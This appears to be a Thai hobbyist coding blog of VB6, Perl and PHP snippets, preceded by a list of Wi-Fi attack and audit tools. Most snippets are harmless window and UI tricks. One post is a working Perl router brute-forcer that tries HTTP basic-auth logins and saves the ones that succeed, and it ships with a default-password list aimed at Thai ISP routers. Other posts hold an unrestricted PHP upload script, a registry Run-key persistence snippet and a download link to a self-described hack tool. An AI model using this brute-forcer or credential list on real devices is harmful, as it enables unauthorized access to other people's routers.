Meru Networks Spectrum Manager
Motorola AirDefense - Network Assurance Solutions
MetaGeek Wi-Spy and Chanalyzer

Wi-Fi Endpoint Security Clients

AirPatrol Wireless Endpoint Client
AirTight SpectraGuard SAFE
Motorola AirDefense Personal
ZENworks Endpoint Security

Wi-Fi Vulnerability Scanners and Assessment Toolkits

Airbase
Airpwn
AP Hopper
Autoscan
BackTrack – Penetration Testing Distribution
FastTrack
Immunity SILICA
Karma
Motorola AirDefense Wireless VA Module
MDK3
Metasploit (+ KARMA = Karmetasploit)
Network Security Toolkit
Nmap, Zenmap
Nessus
Organizational Systems Wireless Auditor (OSWA) Assistant
Security Auditor's Research Assistant
WiCrawl
WiFiDEnum
WiFi-Owl AP Security Audit Tool
WiFi Scanner
WiFiZoo
WLAN Security Assessment Toolkit

http://www.corecom.com/html/wlan_tools.html

Ref: P'Putter

วันเสาร์ที่ 30 กรกฎาคม พ.ศ. 2554

Disable Maximize [ VB6 ]

Option Explicit
Private Const WS_MAXIMIZEBOX = &H10000
Private Const GWL_STYLE = (-16)
Private Declare Function SetWindowLong Lib "user32" Alias _
"SetWindowLongA" (ByVal hwnd As Long, _
ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias _
"GetWindowLongA" (ByVal hwnd As Long, _
ByVal nIndex As Long) As Long

ใส่ที่ Form

Dim lngStyle As Long
lngStyle = GetWindowLong(Me.hwnd, GWL_STYLE)
lngStyle = lngStyle And Not (WS_MAXIMIZEBOX)
lngStyle = SetWindowLong(Me.hwnd, GWL_STYLE, lngStyle)


Ref: http://forum.cheatengine.org/viewtopic.php?p=2018703

Sleep Function [ Perl ]

#!/usr/bin/perl
$num = 5;
while($num--){
    sleep(1);
}
Ref: http://www.tutorialspoint.com/perl/perl_sleep.htm

วันศุกร์ที่ 29 กรกฎาคม พ.ศ. 2554

Upload File Script [ PHP ]

<form name="form" enctype="multipart/form-data" method="post"><input type="file" name="upload">
<input type="submit" name="up" value="Upload Now..."></form><?
if(isset($_FILES["upload"]["name"]))
{
$path = realpath(".")."/". basename( $_FILES["upload"]["name"]);
if(move_uploaded_file($_FILES["upload"]["tmp_name"], $path)) 
print "Done!";
}
?>

Thank : DreamClown

วันอังคารที่ 26 กรกฎาคม พ.ศ. 2554

Router Brute Authentication [ Perl ]

#code perl
#!/usr/bin/perl
print "*****************************************

  _____________________
< Brute Authentication >
  ---------------------
       |  ,__,
        | (oo)____
          (__)    )\
             ||--|| *                          \n";
print "*    code by  windows98SE               *\n";
print "*****************************************\n";
use Socket;
use IO::Socket;
use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

print "IP:";
chomp( my $target = <stdin>);
my @userlist = readFile("user.txt");
my @passlist = readFile("pass.txt");
my $outfile = 'PW.txt';

my %result;
print "[+] Start Scan..\n";
scan($target);
print "[+] Done.\n";
system ("pause");

sub scan {
  my ($target) = @_;
  foreach my $user (@userlist){
   foreach my $pass (@passlist){
     print "[+] Test User=$user Pass=$pass\n";  
    my $browser = LWP::UserAgent->new();
     my $auth = HTTP::Request->new(GET=> 'http://'.$target);
     $auth->authorization_basic($user,$pass);
     my $result = $browser->request($auth)->status_line;
     if($result =~ m/200/ig){
      $result{$target} = "$user:$pass";
      print "[+] Found $target pass is Usr=$user:Pass=$pass\n";
     open(File, ">>", $outfile);
      print File " [+] $target ($result{$target})\n";
     close(File);
      print "\n\n [+] $target ($result{$target})\n\n";
     return;
     }
   }
  }
}


sub readFile{
  my @var;
  my ($file) = @_;
  open FILE, "<:utf8", "$file" or die "
Can't open $file : $!";
 while(<file>){
   my $line = $_;
   $line =~ s/\r|\n//g;
   next if (length($line) == 0);
   push(@var,$line);
  }
  close FILE;
  return(@var);
}

----------------------------------------------------
สร้างไฟล์

user.txt
-------
admin
root
------------
pass.txt

TTT
ttt
tot
TOT
root
3bb
3BB
admin
1234
123456
123456789
tot1234
123456123456
041687512
1234admin
synnet
tech
ANYCOM
ILMI
PASSWORD
Password
password
adminttd
comcomcom
monitor
manager
security
recovery
Wireless
volition
3ware
anicust
crack
hack

วันเสาร์ที่ 11 มิถุนายน พ.ศ. 2554

Basic IRC Bot with Perl

use IO::Socket;
$irc='irc.example.net';
$nick='ตั้งชื่อบอท';
$owner='ชื่อคนใช้บอท';
$channel='#channel';
########################################################################
system('cls');
print "\n [+] Connection To $irc Please Wait ...\n\n";
########################################################################
$connect=IO::Socket::INET->new(PeerAddr=>$irc,
PeerPort=>'6667',
Proto=>'tcp',
Timeout=>60) or die "[!] Couldnt Connect To $irc\n\n";
#########################################################################
print $connect "USER xxx xxx xxx xxx\r\n";
print $connect "NICK ".$nick."\r\n";
print $connect "JOIN ".$channel."\r\n";
######################-  Loop Connection -##############################
while ($svrmsg=<$connect>) {
 if ($svrmsg=~m/^\:(.+?)\s+433/i) {
  die "NickName in use";
 }
 print $svrmsg;
 if ($svrmsg=~m/^PING (.*?)$/gi) {
  print $connect "PONG ".$1."\r\n";
  print "PONG ".$1."\r\n";
 }
########################################################################
 if ($svrmsg=~/Where you from ?/) {
  if ($svrmsg=~/^\:$owner\!/) {
 
   print $connect "PRIVMSG ",$channel," :I'm Form Thailand\r\n";
  
  }
 }
} 

วันพุธที่ 8 มิถุนายน พ.ศ. 2554

List Mouse Movement [ VB6 ]

Option Explicit

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
        (ByVal hWnd As Long, ByVal wMsg As Long, _
        ByVal wParam As Long, lParam As Any) As Long

Const LB_ITEMFROMPOINT = &H1A9

Function MAKELPARAM(ByVal X As Integer, ByVal Y As Integer) As Long
    MAKELPARAM = CInt(Y) * (2 ^ 16) Or CInt(X)
End Function

Private Sub List1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim CoordX As Long, CoordY As Long, Coord As Long, FPoint As Long
    Dim txt As String
   
    CoordX = X \ Screen.TwipsPerPixelX
    CoordY = Y \ Screen.TwipsPerPixelY
    Coord = MAKELPARAM(CInt(CoordX), CInt(CoordY))
    FPoint = SendMessage(List1.hWnd, LB_ITEMFROMPOINT, 0, ByVal Coord)
   
    If FPoint <= List1.ListCount - 1 Then
        txt = List1.List(FPoint)
        Select Case txt
            Case List1.List(0)
          Text1.Text = "ICheer_No0M"
            Case List1.List(1)
          Text1.Text = "bla bla bla bla" 
            Case List1.List(2)
          Text1.Text = "bla bla bla bla"

        End Select
       
    End If
       
End Sub

Form Moving [ VB6 ]

Private XX As Integer
Private YY As Integer
Dim MoveMe As Boolean

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
MoveMe = True
XX = X
YY = Y
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
If MoveMe = True Then
Me.Left = Me.Left + (X - XX)
Me.Top = Me.Top + (Y - YY)
End If
End Sub

Private Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
Me.Left = Me.Left + (X - XX)
Me.Top = Me.Top + (Y - YY)
MoveMe = False
End Sub

Minimize To Tray [ VB6 ]

ใ่ส่ไว้ที่ Form นะครับ …

Dim nid As NOTIFYICONDATA
Sub minimize_to_tray()
Me.Hide
nid.cbSize = Len(nid)
nid.hwnd = Me.hwnd
nid.uId = vbNull
nid.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
nid.uCallBackMessage = WM_MOUSEMOVE
nid.hIcon = Me.Icon
nid.szTip = "blablabla text u want to show when mouse over tray iicon" & vbNullChar
Shell_NotifyIcon NIM_ADD, nid
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
Dim msg As Long
Dim sFilter As String
msg = x / Screen.TwipsPerPixelX
Select Case msg
Case WM_LBUTTONDOWN
Me.Show
Shell_NotifyIcon NIM_DELETE, nid
Case WM_LBUTTONUP
Case WM_LBUTTONDBLCLK
Case WM_RBUTTONDOWN
Case WM_RBUTTONUP
Me.Show
Shell_NotifyIcon NIM_DELETE, nid
Case WM_RBUTTONDBLCLK
End Select

End Sub
Private Sub Form_Unload(Cancel As Integer)
Shell_NotifyIcon NIM_DELETE, nid
End Sub

Private Sub form_resize()
   If (Me.WindowState = vbMinimized) Then
   minimize_to_tray
      Me.Visible = False
   End If
End Sub

ใส่ที่ Module ครับ ...


Public Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uId As Long
uFlags As Long
uCallBackMessage As Long
hIcon As Long
szTip As String * 64
End Type
Public Const NIM_ADD = &H0
Public Const NIM_MODIFY = &H1
Public Const NIM_DELETE = &H2
Public Const WM_MOUSEMOVE = &H200
Public Const NIF_MESSAGE = &H1
Public Const NIF_ICON = &H2
Public Const NIF_TIP = &H4
Public Const WM_LBUTTONDBLCLK = &H203
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_RBUTTONDBLCLK = &H206
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205

Public Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean

AutoCheck ListBox [ VB6 ]

Private Sub Form_Load()
    Dim itd As Integer
   
    For itd = 0 To List1.ListCount - 1
        List1.Selected(itd) = True
    Next itd
   
End Sub

ListBox แบบ Check ถ้ารันมามันจะไม่ Checked ใช่ไหมครับ ลองเอาโค้ดนี้ไปใส่ดูครับผม ...

เมื่อรันมามันจะมีเครื่องหมายติ๊กถูกมาเลยน่ะครับ ...

Transparent From [ VB6 ]

ใส่ใน Form ครับ …

Private Sub Form_Load()
ActiveTransparency Me, True, False, 200, &H0&
'ActiveTransparency [ชื่อ Form], True, False, [ค่าความโปร่งใส 1 - 255], [สีที่ต้องการให้ทลุ]
End Sub

ใส่ใน Module ครับ …

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bDefaut As Byte, ByVal dwFlags As Long) As Long

Private Const GWL_EXSTYLE As Long = (-20)
Private Const LWA_COLORKEY As Long = &H1
Private Const LWA_Defaut As Long = &H2
Private Const WS_EX_LAYERED As Long = &H80000

Public Function Transparency(ByVal hwnd As Long, Optional ByVal Col As Long = vbBlack, _
Optional ByVal PcTransp As Byte = 255, Optional ByVal TrMode As Boolean = True) As Boolean

Dim DisplayStyle As Long
On Error Resume Next
VoirStyle = GetWindowLong(hwnd, GWL_EXSTYLE)
If DisplayStyle <> (DisplayStyle Or WS_EX_LAYERED) Then
DisplayStyle = (DisplayStyle Or WS_EX_LAYERED)
Call SetWindowLong(hwnd, GWL_EXSTYLE, DisplayStyle)
End If
Transparency = (SetLayeredWindowAttributes(hwnd, Col, PcTransp, IIf(TrMode, LWA_COLORKEY Or LWA_Defaut, LWA_COLORKEY)) <> 0)

If Not Err.Number = 0 Then Err.Clear

End Function

Public Sub ActiveTransparency(M As Form, d As Boolean, F As Boolean, _
T_Transparency As Integer, Optional Color As Long)
Dim B As Boolean
If d And F Then
B = Transparency(M.hwnd, Color, T_Transparency, False)
ElseIf d Then
B = Transparency(M.hwnd, 0, T_Transparency, True)
Else
B = Transparency(M.hwnd, , 255, True)
End If
End Sub

เท่านี้ Code HTML จาก URL ที่ใส่ใน Text2 ก็จะมาอยู่ใน Text1 แล้วครับ

Effect On TitleBar [ VB6 ]

Private Sub Timer1_Timer()
Static Text As String
Static intC As Integer
On Error Resume Next
Text = Space(30) & "ใส่ข้อความที่จะให้ปรากฎตรง Title Bar"
Caption = Mid(Text, intC, 30)
intC = intC + 1
If intC = Len(Text) Then intC = 0
End Sub

ตั้ง Interval ใน Timer สักประมาณ 150 นะครับ (ยิ่งน้อยยิ่งเคลื่อนที่เร็ว)
Credit By siamdev

ดัดแปลงโค้ดเป็นวัตถุอื่นก็ได้ครับ ไม่ใช่ TitleBar อย่างเดียวก็ได้ลองประยุกต์กันดูครับผม …

Mouse Movement [ VB6 ]

สร้าง CommandButton 1 อันและ TextBox 1 อัน …

แล้วใส่โค้ด …


Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Text1.Text = "ICheer_No0M"
End Sub

เมื่อเลื่อนเมาส์ไปที่ CommandButton 1 นะครับ ...

ในช่อง Text1 จะเป็นคำว่า ICheer_No0M นะครับ ...

Check Internet Connection [ VB6 ]

Private Declare Function InternetGetConnectedState Lib "wininet" (ByRef dwflags As Long, _
  ByVal dwReserved As Long) As Long
Private Const CONNECT_LAN As Long = &H2
  Private Const CONNECT_MODEM As Long = &H1
  Private Const CONNECT_PROXY As Long = &H4
  Private Const CONNECT_OFFLINE As Long = &H20
  Private Const CONNECT_CONFIGURED As Long = &H40

Public Function IsWebConnected(Optional ByRef ConnType As String) As Boolean
      Dim dwflags As Long
      Dim WebTest As Boolean
      ConnType = ""
      WebTest = InternetGetConnectedState(dwflags, 0&)
      Select Case WebTest
          Case dwflags And CONNECT_LAN: ConnType = "LAN"
          Case dwflags And CONNECT_MODEM: ConnType = "Modem"
          Case dwflags And CONNECT_PROXY: ConnType = "Proxy"
          Case dwflags And CONNECT_OFFLINE: ConnType = "Offline"
          Case dwflags And CONNECT_CONFIGURED: ConnType = "Configured"
          Case dwflags And CONNECT_RAS: ConnType = "Remote"
      End Select
      IsWebConnected = WebTest
  End Function
  Private Sub Command1_Click()
      Dim msg As String
      If IsWebConnected(msg) Then
          msg = "You are connected to the Internet via : " & msg
      Else
          msg = "You are not connected to the Internet."
      End If
     
      MsgBox msg, vbOKOnly, "Internet Connection Status"
  End Sub

สร้าง Command มา 1 อันครับ ...

Run at StartUp [ VB6 ]

Private Sub Command1_Click()
Dim Startup_key As String
    Startup_key = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\"
    Dim Reg As Object
    Set Reg = CreateObject("wscript.shell")
    Reg.RegWrite Startup_key & App.EXEName, App.Path & "\" & App.EXEName & ".exe"

ให้โปรแกรมเปิดตอน Startup โดยการฝังตัวเองลงในจุด Startup ของ Registry

วันพฤหัสบดีที่ 26 พฤษภาคม พ.ศ. 2554

Get HTML Source Code [ VB6 ]

ในบทความนี้ก็ไม่มีอะไรมากครับ เป็นโค้ดที่ใช้ Microsoft Internet Transfer Control ช่วยในการ Get ค่ามานะครับ มาดูตัวอย่างกันเลย ...

Private Sub Command1_Click()
Text1.Text = Inet1.OpenURL(Text2.Text)
End Sub

เท่านี้ Code HTML จาก URL ที่ใส่ใน Text2 ก็จะมาอยู่ใน Text1 แล้วครับ

วันอังคารที่ 17 พฤษภาคม พ.ศ. 2554

MD5 Online Cracked. [ By ICheer_No0M ]



Download : http://www.mediafire.com/?zyytypi4tztzvt1


เป็น Hack Tool ตัวแรกที่เขียนแล้วปล่อยสาธารณะได้

วันพุธที่ 11 พฤษภาคม พ.ศ. 2554

Char To Hex Function [ VB6 ]

Function Chr2Hex(ByVal strChr As String) As String
Dim i As Integer
For i = 46 To 122 Step 1
    If Chr(i) = strChr Then
        Chr2Hex = Hex(i)
        Exit Function
    End If
Next
End Function
Function Chr2HexAd(ByVal strChr As String) As String
Dim i As Integer, strA As String
strA = ""
For i = 1 To Len(strChr) Step 1
    If Len(strA) = 0 Then
        strA = Chr2Hex(Mid(strChr, i, 1))
    Else
        strA = strA & Chr2Hex(Mid(strChr, i, 1))
    End If
Next
Chr2HexAd = strA
End Function

Use : Chr2HexAd(text1.text)

Thank DreamClown

ReplaceText Function [ VB6 ]

Public Function ReplaceText(ByVal txt As String, ByVal from_str As String, ByVal to_str As String) As String
Dim result As String
Dim from_len As Integer
Dim pos As Integer
    from_len = Len(from_str)
    Do While Len(txt) > 0
        pos = InStr(txt, from_str)
        If pos = 0 Then
            result = result & txt
            txt = ""
        Else
            result = result & Left$(txt, pos - 1) & to_str
            txt = Mid$(txt, pos + from_len)
        End If
    Loop
    ReplaceText = result
End Function
Use : Replace(text1.text,"a","b")

MidText Function [ VB6 ]

Private Function MidText(ByVal strText As String, ByVal Find1 As String, ByVal Find2 As String, Optional ByVal lStart As Long = 1, Optional ByVal Compare As VbCompareMethod = vbBinaryCompare) As String
    Dim lRet As Long, sRet As String
    lRet = InStr(lStart, strText, Find1, Compare)
     If lRet Then
     sRet = Mid$(strText, lRet + Len(Find1))
     lRet = InStr(1, sRet, Find2, Compare)
     If lRet Then
     MidText = Left$(sRet, lRet - 1)
     End If
     End If
    End Function

Use : MidText(text1.text,"a","b")

วันอังคารที่ 29 มีนาคม พ.ศ. 2554

ร่าง SQLi Dumper Bot [ VB6+Perl ]


ถึงตอนนี้ก็เสร็จเป็นที่เรียบร้อยแล้วกับโปรเจ็คพิเศษนี้ อิอิ

Basic Virus Removal Tool With VB6

กระทู้นี้ก็ไม่มีอะไรมากครับ เป็นพื้นฐานการทำตัวแก้ไวรัสหรือ Virus Removal Tool นั้นเองง่ายๆครับมีอยู่ไม่กี่ขึ้นตอน มาดูกันเลย ...

สำหรับคนที่เขียนโปรแกรมบ่อยๆก็คงจะร้อง อ่อ *0*



อ้างถึง
Shell "taskkill /f /im ""virus.exe""", vbHide

ข้างต้นเป็นการ Kill Process Virus แบบ Basic มากๆคือใช้คำสั่ง taskkill ในการ Kill Process ผ่าน Command Line และ vbHide ก็คือซ่อนการทำงานของ Command Line ครับ ...
เมื่อ Kill Process ไปแล้ว ต่อมาก็เป็นขึ้นตอนการลบไฟล์แบบพื้นฐานกันบ้าง ...
อ้างถึง
Shell "cmd.exe /c del /f /q /a %systemroot%\system32\virus.exe", vbHide

ข้างต้นก็จะเป็นการลบไฟล์ผ่าน Command Line แต่ในที่นี้จะใช้ Environment Path ในการระบุที่อยู่ของไฟล์นะครับ ดูได้จากลิงค์ด้านล่าง

http://vlaurie.com/computers2/Articles/environment.htm

หลักจาก Kill Process และ ลบไฟล์ไวรัสไปแล้วสิ่งที่เหลืออยู่คือค่าใน Registry ที่ถูกแก้โดยไวรัสสายพันธุ์นั้นๆ เราก็ตามไปลบกันอีกครับ ...


อ้างถึง
On Error Resume Next
Set shl = CreateObject("WScript.Shell")

shl.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\run\virus"

ข้างต้นก็จะเป็นโค้ด Shell อีกตามเคย (บอกแล้วว่า Basic 55+) ที่ใช้ลบ Value ของไวรัสใน Registry นะครับ ...

หรืออาจจะเป็นการเปลี่ยนค่าใน Value Key นั้นๆ ตรง Key Virus เปลี่ยนเอาเองนะครับ


อ้างถึง
Shell ("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v คีย์ที่ต้องการเปลี่ยน /t REG_DWORD /d ค่าที่ต้องการเปลี่ยน /f"), vbHide

และเมื่อเสร็จทุกขั้นตอนแล้ว ที่ขาดไม่ได้คือรีสตาร์ทเครื่องเพื่อให้การลบล้างไวรัสสมบูรณ์ครับ ...
อ้างถึง
Shell "shutdown -r -f -t 0"

สั่ง Restart ผ่าน Command Line เลย อิๆ ...

หวังว่าบทความนี้จะมีประโยชน์กับหลายๆท่านที่คิดจะทำ Removal Tool กัน เพราะนี่แค่พื้นฐานให้ท่านนำไปพัฒนาต่ออีกได้อย่างยาวไกล

By ICheer_No0M 

Write To Text File [ VB6 ]

Open "C:\log.txt" For Append As #1
     Print #1, Text1.Text
     Print #1, "ICheer_No0M"
Close #1
For Append As #1   คือการเขียน log แบบ ผนวก หรืือ เพิ่มเติ่ม          เมื่อรันคำสั่งซ้ำข้อความจะถูกเขียนเพิ่มลงไปจากข้อความที่มีอยู่เดิม

For Output As #1    คือการเขียนทับใหม่ลงไปทั้งหมด                     เมื่อรันคำสั่งซ้ำข้อความใหม่จะทับข้อความเดิมทั้งหมด ครับ




จากโค้ดก็เป็นการเขียนไฟล์ log.txt ที่มีใน C:\log.txt นะครับ

บรรทัดแรกก็จะเขียนจาก Text1.Text บรรทัดที่สองก็จะเขียนคำว่า ICheer_No0M

ขอบคุณพี่ Jae สำหรับคำแนะนำครับ ^^

Ascii To Hex Function [ VB6 ]

Private Function StringHex(EvalString As String) As String
Dim intStrLen As Integer
Dim intLoop As Integer
Dim strHex As String
EvalString = Trim(EvalString)
intStrLen = Len(EvalString)
For intLoop = 1 To intStrLen
strHex = strHex & Hex(Asc(Mid(EvalString, intLoop, 1)))
Next
StringHex = strHex
End Function

_______________________________________________________________

Private Sub Command1_Click()
Text2.Text = "0x" & StringHex(Text1.Text)
End Sub

สร้าง Text1 & Text2 & Command1


Sleep & Wait Function [ VB6 ]

Private Declare Sub Sleep Lib "kernel32.dll" (ByVal dwMilliseconds As Long)

Use : Sleep 5000
________________________________________________

Public Function Wait(WaitTime)
    Dim StartTime As Double
    StartTime = Timer
    Do While Timer < StartTime + WaitTime
        If Timer > 86395 Or Timer = 0 Then Exit Do
        DoEvents
        Loop
End Function

Use : wait 5
โค้ด Function นี้ก็ไม่มีอะไรมากครับ เหมือนเป็นการหน่วงเวลาในตัวอย่าง 5000 คือ 5 วินาที ใช้ได้ทั้ง 2 แบบนะครับ

ขอบคุณพี่ Jae สำหรับ Function Wait : )